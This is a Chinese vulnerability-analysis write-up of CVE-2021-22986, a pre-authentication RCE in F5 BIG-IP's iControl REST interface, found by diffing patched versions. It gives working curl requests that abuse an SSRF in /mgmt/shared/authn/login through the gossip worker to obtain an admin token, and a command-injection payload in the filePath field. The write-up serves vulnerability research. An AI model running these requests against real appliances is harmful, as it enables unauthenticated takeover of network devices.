作者：维阵漏洞研究员—w0lfzhang
漏洞概述
前段时间F5的BIGIP爆出了一些漏洞，其中CVE-2021-22986是一个pre-auth的RCE漏洞，存在于其iControl REST接口。其影响以下BIGIP的版本：
16.0.0-16.0.1
15.1.0-15.1.2
14.1.0-14.1.3.1
13.1.0-13.1.3.5
12.1.0-12.1.5.2
在此特地简陋的分析下该漏洞以及利用方式。由于本人Java水平不是很高，如有错误，敬请指正。
漏洞定位
因为官方是没有放出漏洞具体详情的，所以需要自己根据patch来定位漏洞。刚开始我用的15.1.2和15.1.2.1的版本进行diff，没有diff出命令注入。后来换成16.0.1和16.0.1.1就diff出来了。所以本次分析用的是bigip 16.0.1和16.0.1.1的版本。
官方说漏洞存在于iControl REST接口，查阅下相关资料即可知如何访问该接口，默认是可通过443端口/mgmt/xxx路径进行访问。然后分析下httpd.conf可知对该路径的请求都会转发至localhost:8100进行处理：
...
<ProxyMatch /mgmt/>
# Access is restricted to traffic from 127.0.0.1
Require ip 127.0.0.1
Require ip 127.4.2.2
# This is an exact copy of the authentication settings of the document root.
# If a connection is attempted from anywhere but 127.*.*.*, then it will have
# to be authenticated.
# we control basic auth via this file...
IncludeOptional /etc/httpd/conf/basic_auth*.conf
AuthName "Enterprise Manager"
AuthPAM_Enabled on
AuthPAM_ExpiredPasswordsSupport on
require valid-user
</ProxyMatch>
RewriteEngine on
RewriteRule ^/mgmt$ /mgmt/ [PT]
RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]
# Don't proxy REST rpm endpoint requests.
ProxyPass /mgmt/rpm !
ProxyPass /mgmt/job !
ProxyPass /mgmt/endpoint !
# Proxy REST service bus requests.
# We always retry so if we restart the REST service bus, Apache
# will quickly re-discover it. (The default is 60 seconds.)
# If you have retry timeout > 0, Apache timers may go awry
# when clock is reset. It may never re-enable the proxy.
ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0
ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0
# Adjust URLs in HTTP response headers
ProxyPassReverse /vmchannel/ http://localhost:8585/vmchannel/
ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/
...
然后找到对应监听的主程序：
[root@localhost:NO LICENSE:Standalone] config # ps aux |grep 8100
root 6138 0.6 5.4 451568 220732 ? Sl Mar24 6:21 /usr/lib/jvm/jre/bin/java -Djava.util.logging.manager=com.f5.rest.common.RestLogManager -Djava.util.logging.config.file=/etc/restjavad.log.conf -Dlog4j.defaultInitOverride=true -Dorg.quartz.properties=/etc/quartz.properties -Xss384k -XX:+PrintFlagsFinal -Dsun.jnu.encoding=UTF-8 -Df......
分析该启动命令行可知，主类为com.f5.rest.workers.RestWorkerHost，大致知道下相关的jar文件都位于/usr/share/java/rest目录下。在diff一些文件大小和时间经过改变的jar文件后，最终在f5.rest.workers.authn.AuthnWorker和com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker中发现了一些变化：
f5.rest.workers.authn.AuthnWorker:
protected void onPost(final RestOperation request) {
final String incomingAddress = request.getRemoteSender();
final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);
- if (state.password == null && state.bigipAuthCookie == null) {
+ if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
loginState.bigipAuthCookie = state.bigipAuthCookie;
}
if (incomingAddress != null && incomingAddress != "Unknown") {
loginState.address = incomingAddress;
}
- if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {
+ if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {
+
request.setStatusCode(401);
String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });
request.fail(new SecurityException(msg));
+
return;
}
+ boolean isAllowedLinks = false;
+
+ if (state.loginReference != null && state.loginReference.link != null) {
+
+ for (URI iter : this.subscriptions.keySet()) {
+ if (state.loginReference.link.getPath().equals(iter.getPath())) {
+ isAllowedLinks = true;
+ break;
+ }
+ }
+ if (!isAllowedLinks) {
+ getLogger().severe("No login provider found.");
+ String msg = String.format("No login provider found.", new Object[0]);
+ request.fail(new SecurityException(msg));
+
+ return;
+ }
+ }
+
state.password = null;
request.setBody(state);
...
com.f5.rest.tmos.bigip.access.iapp.IAppBundleInstallTaskCollectionWorker:
+ private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$");
...
private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {
if (Utilities.isNullOrEmpty(taskState.filePath)) {
File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/");
if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {
String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.";
failTask(taskState, error, "");
return;
}
File[] agcUseCasePack = agcUseCasePackDir.listFiles();
if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) {
String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.";
failTask(taskState, error, "");
return;
}
taskState.filePath = agcUseCasePack[0].getPath();
}
+ String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);
+ Matcher m = validFilePathChars.matcher(filename);
+ if (!m.matches()) {
+ String errorMessage = String.format("Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new Object[] { filename });
+
+
+
+ failTask(taskState, errorMessage, "");
+
+ return;
+ }
final String extractTarCommand = "tar -xf " + taskState.filePath + " -O > /dev/null";
ShellExecutor extractTar = new ShellExecutor(extractTarCommand);
...
结合下该链接的分析，可知第一个漏洞为一个SSRF漏洞。但是利用该漏洞有一些限制，稍后会提到。第二个漏洞为一个命令注入漏洞。
漏洞利用
SSRF影响的路径为/mgmt/shared/authn/login，命令注入影响路径为/mgmt/tm/access/bundle-install-tasks。查看f5.rest.workers.authn.AuthnWorker类可知，在访问/mgmt/shared/authn/login路径的时候如果POST数据中有loginReference字段，且满足以下条件会把该请求连带POST数据转发至该loginReference字段的link路径。
.......
if (state.password == null && state.bigipAuthCookie == null) {
/* 323 */ state.bigipAuthCookie = request.getCookie("BIGIPAuthCookie");
/* 324 */ loginState.bigipAuthCookie = state.bigipAuthCookie;
/* */ }
/* */
/* 327 */ if (incomingAddress != null && incomingAddress != "Unknown") {
/* 328 */ loginState.address = incomingAddress;
/* */ }
/* */
/* 331 */ if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {
/* 332 */ request.setStatusCode(401);
/* 333 */ String msg = String.format("username and password must not be null or %s in Cookie header should be used.", new Object[] { "BIGIPAuthCookie" });
/* */
/* 335 */ request.fail(new SecurityException(msg));
/* */
/* */ return;
/* */ }
......
但是对该POST数据的字段是有白名单限制的。在转发该请求之前，请求的POST数据会被重新设置：
/* 318 */ final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);
/* 319 */ AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);
......
/* 503 */ RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);
/* */
/* */
/* 506 */ sendPost(checkAuth);
/* */ }
可以看到会根据loginState来进行setbody，亦即设置POST数据。只允许AuthProviderLoginState的字段：
public class AuthProviderLoginState extends RestWorkerState {
public String username;
public String password;
public String address;
public String bigipAuthCookie;
public String authProviderName;
public RestReference userReference;
public List<RestReference> groupReferences;
}
所以如果直接利用SSRF来进行命令注入的话，不符合的字段是传不到目标url的。
curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'
当该url处理完成后如果未发生异常默认会继续执行以下class的completed方法：
RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);
RestRequestCompletion authCompletion = new RestRequestCompletion()
/* */ {
/* */
/* */ ......
/* */ public void completed(RestOperation operation) {
/* 483 */ AuthnWorker.this.loginFailureMap.remove(failureKey);
/* */
/* 485 */ AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);
/* */
/* */
/* 488 */ String authProviderId = loggedIn.authProviderName;
/* 489 */ if (authProviderId == null) {
/* 490 */ authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;
/* */ }
/* */
/* */
/* 494 */ AuthnWorker.this.getLogger().finestFmt("User %s successfully logged in from %s using the %s authentication provider.", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId });
/* 499 */ AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn);
/* */ }
/* */ };
访问该url(mgmt/tm/access/bundle-install-tasks)返回的json数据会根据字段赋值给loggedIn(class AuthProviderLoginState)的各个字段：
然后就会调用generateToken函数，根据函数名以及分析可知该函数可以产生登录时的token，然后用该token即可访问需要认证的资源。所以如果一切正常的话，上述访问应该给我们返回一个token，但实际上返回的是以下内容：
➜ CVE-2021-22986 ✗ curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}'
{"code":400,"message":"request failed with null exception","referer":"192.168.190.1","restOperationId":7145511,"kind":":resterrorresponse"}
所以需要分析下token获取失败的原因。审计java代码可发现token的产生是在AuthTokenWorker class里面，在关键代码处下断点后可发现token获取失败的原因，因为state.user为null。
传进去的state.user字段是在generateToken函数里面进行赋值的：
/* */ public static void generateToken(RestServer server, final RestOperation request, final AuthnWorkerState authState, AuthProviderLoginState loginState) {
/* 516 */ if (authState.needsToken != null && !authState.needsToken.booleanValue()) {
/* 517 */ request.setBody(authState);
/* 518 */ request.complete();
/* */
/* */ return;
/* */ }
/* 522 */ AuthTokenItemState token = new AuthTokenItemState();
/* 523 */ token.userName = loginState.username;
/* 524 */ token.user = loginState.userReference;
/* 525 */ token.groupReferences = loginState.groupReferences;
/* 526 */ token.authProviderName = loginState.authProviderName;
/* 527 */ token.address = request.getXForwarderdFor();
......
/* 547 */ RestOperation createToken = RestOperation.create().setUri(UrlHelper.buildLocalUriSafe(server, new String[] { WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH })).setBody(token).setCompletion(tokenCompletion).setReferer("authn-generate-token"); <====
/* */
/* 553 */ RestRequestSender.sendPost(createToken);
......
根据前面分析可知，loginState各字段的赋值来源于对目标url访问返回的json数据。而此时我们传进去的userReference字段是null的，所以触发了state.user==null，获取token会失败，这是最根本的原因。所以要想正常获取token需要我们利用ssrf访问的url返回的json数据包含userReference字段。只需要找到一个能返回userReference字段的worker(url)即可。
在经过查找后，gossip worker(/mgmt/shared/gossip)符合条件：
➜ CVE-2021-22986 ✗ curl -ksu admin:xxx https://192.168.190.136/mgmt/shared/gossip -d '{"userReference":{"link"
:"xxx"}'
{"userReference":{"link":"xxx"}
所以利用ssrf访问该url可正常获取token：
➜ CVE-2021-22986 ✗ curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"username":"admin","bigipAuthCooki
e":"","userReference":{"link":""},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}'
{"username":"admin","bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/shared/gossip"},"token":{"token":"GFCDZ5OHG26QRMFKKETVAV2M6Q","name":"GFCDZ5OHG26QRMFKKETVAV2M6Q","userName":"admin","user":{"link":""},"timeout":1200,"startTime":"2021-03-25T07:51:35.742-0700","address":"192.168.190.1","partition":"[All]","generation":1,"lastUpdateMicros":1616683895741691,"expirationMicros":1616685095742000,"kind":"shared:authz:tokens:authtokenitemstate","selfLink":"https://localhost/mgmt/shared/authz/tokens/GFCDZ5OHG26QRMFKKETVAV2M6Q"},"generation":0,"lastUpdateMicros":0}
需要注意的是虽然username字段不指定时也可产生token，但此token是没有权限的。
➜ CVE-2021-22986 git:(master) ✗ curl -ks https://192.168.190.136/mgmt/shared/authn/login -d '{"username":"","bigipAuthCookie":"","userReference":{"link":""},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}'
{"username":"","bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/shared/gossip"},"token":{"token":"F7B7234EB5G2DAZPKYZJZZE6I3","name":"F7B7234EB5G2DAZPKYZJZZE6I3","userName":"","user":{"link":""},"timeout":1200,"startTime":"2021-03-25T08:01:02.827-0700","address":"192.168.190.1","partition":"[All]","generation":1,"lastUpdateMicros":1616684462826871,"expirationMicros":1616685662827000,"kind":"shared:authz:tokens:authtokenitemstate","selfLink":"https://localhost/mgmt/shared/authz/tokens/F7B7234EB5G2DAZPKYZJZZE6I3"},"generation":0,"lastUpdateMicros":0}
所以实际上利用该url需要知道管理员用户名才行，但是设备默认管理员用户名就是admin，且好像不可更改和删除，问题不大。获取token后然后结合命令注入即可达到RCE的效果。
